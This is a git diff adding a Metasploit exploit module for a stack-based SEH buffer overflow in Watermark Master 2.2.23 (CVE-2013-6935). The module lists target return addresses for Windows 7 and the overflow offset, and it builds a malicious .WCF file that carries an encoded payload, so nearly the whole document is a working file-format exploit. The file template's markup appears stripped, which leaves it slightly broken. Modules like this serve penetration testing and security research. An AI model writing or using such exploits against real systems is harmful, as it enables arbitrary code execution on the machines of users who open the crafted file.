diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb new file mode 100644 index 0000000000..af6a94c36b --- /dev/null +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Watermark Master Buffer Overflow (SEH)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when + processing a specially crafted .WCF file. This vulnerability could be + exploited by a remote attacker to execute arbitrary code on the target + machine by enticing a user of Watermark Master to open a malicious .WCF file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom', # Original discovery + 'Andrew Smith', # MSF Module + ], + 'References' => + [ + [ 'OSVDB', '99226' ], + [ 'CVE', '2013-6935'], + [ 'EBD', '29327' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", + 'DisableNops' => false, + 'Space' => 7276 + }, + + 'Targets' => + [ + [ 'Windows 7 x32 - Watermark Master 2.2.23', + { + 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll + 'Offset' => 516 + } + ], + [ 'Windows 7 x64 - Watermark Master 2.2.23', + { + 'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll + 'Offset' => 516 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 1 2013', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class) + + end + + def exploit + + buffer = rand_text(target['Offset']) + buffer << generate_seh_record(target.ret) + buffer << payload.encoded + buffer << rand_text(18000 - buffer.length) + + file = %Q| + + + + + + + + + + + + + +| + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(file) + + end +end +